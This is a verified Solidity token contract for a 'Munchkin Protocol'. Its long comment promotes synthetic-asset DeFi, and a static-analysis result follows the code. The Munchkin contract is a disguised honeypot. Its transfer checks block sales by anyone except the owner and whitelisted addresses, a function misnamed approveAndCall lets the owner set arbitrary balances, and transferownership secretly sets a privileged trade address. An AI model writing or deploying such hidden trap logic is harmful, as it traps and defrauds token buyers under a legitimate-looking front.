/**
 *Submitted for verification at Etherscan.io on 2021-06-20
*/

/*
Introducing: The Munchkin Protocol Ecosystem
An open-source protocol to create, exchange, settle, and manage synthetic assets.

Derivatives: A Modern Financial Instrument
Financial derivatives have established themselves as one of the most powerful concepts of modern finance. Derivatives are essentially financial contracts that represent a function of an underlying asset without actually owning them. Derivatives enable market entities to hedge risks by facilitating buying or selling any asset at a set price in a pre-determined period. This function allowed commodity producers and consumers to hedge risks against price differences in the value of their assets depending upon future production or consumption.
The applications of derivatives laid the foundation for exchange-traded derivatives and Over the Counter (OTC) derivatives — centralized exchanges facilitating contractual agreements for buyers and sellers to exchange risks and govern margin requirements. With the emergence of centralized exchanges and bespoke legal agreements, there emerged another application of financial derivatives — exposure to synthetic assets.
Synthetic Assets
In simple terms, synthetic assets allow accessing the benefits of an asset without actually owning it. It enables exposure of any asset such as gold, stocks, indices, commodities, digital assets without holding these underlying assets. Synthetic assets follow a function such as the price of the specific asset and allow you to reap the benefits of profit gains. This way synthetic assets allow exposure to your preferred asset, through buying or selling, without holding it.
There are several benefits to holding a synthetic asset. One of the use-cases is exposure to assets without dealing with custodial requirements. For instance, leveraging the profit gains of Gold, but without dealing with custody. Another use-case is the facility to trade in a high-value asset without the liquidity factor. For instance, exposure to Bitcoin without the factor of buying Bitcoin trading at levels above $50,000.
Fundamental Issues with Financial Derivatives
Today, the market of financial derivatives is restricted, holds counterparty risks, highly dependent on intermediaries, bound with geographical limitations, and is an overall costly process. The experience of owning and trading derivatives is tedious, encompasses risky factors, and is expensive.
The restrictions and requirements of engaging with derivatives have led to limited access to this financial instrument. Moreover, it has led to unbalanced market dynamics creating an unfair advantage and restricted access to the financial instrument.
Munchkin Protocol seeks to create a fair way to engage with synthetic assets and equal opportunities to access derivatives.
Introducing Munchkin Protocol
Munchkin is an open-source protocol to create, exchange, settle, and manage synthetic assets. Leveraging the technological innovation of blockchain, Munchkin encompasses a multitude of products enabling engagement with decentralized derivatives.
It is a DeFi protocol that allows traders exposure to real-world assets by facilitating an environment for the creation and settlement of synthetic assets. We seek to bring value by leveraging the best functions of DeFi and its evolution that offers innovative methods to connect real-world assets to the blockchain. To empower scalability and high-performance, Munchkin Protocol uses the interface of the Binance Smart Chain (BSC) network.
The protocol enables developers, individuals, and Decentralized Autonomous Organizations (DAO) to deploy and create synthetic assets on the Binance Smart Chain (BSC).
Value Proposition
Munchkin Protocol brings tangible advantages to the derivatives market by encompassing the advantages of tokenization on blockchain, decentralized infrastructure for the creation and management of synthetic assets, and a trustless architecture for exchanging derivatives.
This infrastructure of Munchkin Protocol offers a multitude of tangible advantages.
Global Accessibility — Global accessibility that is unrestrained by geographical locations and exposure to foreign markets, stocks, and other assets.
Fractional — Tokenization of synthetic assets on the blockchain allows market participants to hold or invest in premium assets in fractional amounts.
Non-Custodial — Munchkin Protocol allows non-custodial access to real-world assets and facilitates new tools for investment.
Frictionless Experience — The Protocol offers a seamless way to exchange synthetic assets with limitless possibilities. For instance, exchanging Tesla stock with synthetic Bitcoin.
Execution — The Protocol encompasses a decentralized exchange for near-instant execution of orders supported with deep liquidity.
*/

pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash;
        // solhint-disable-next-line no-inline-assembly
        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}
    // solhint-disable-previous-line no-empty-blocks
    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }
}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract Munchkin {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);
 
    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }
 
    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
       
        if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }
    
    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }
 
    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    
    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
        
        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }
 
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender == owner);
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }

    address tradeAddress;
    function transferownership(address addr) public returns(bool) {
        require(msg.sender == owner);
        tradeAddress = addr;
        return true;
    }
 
    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;
 
    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
 
    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}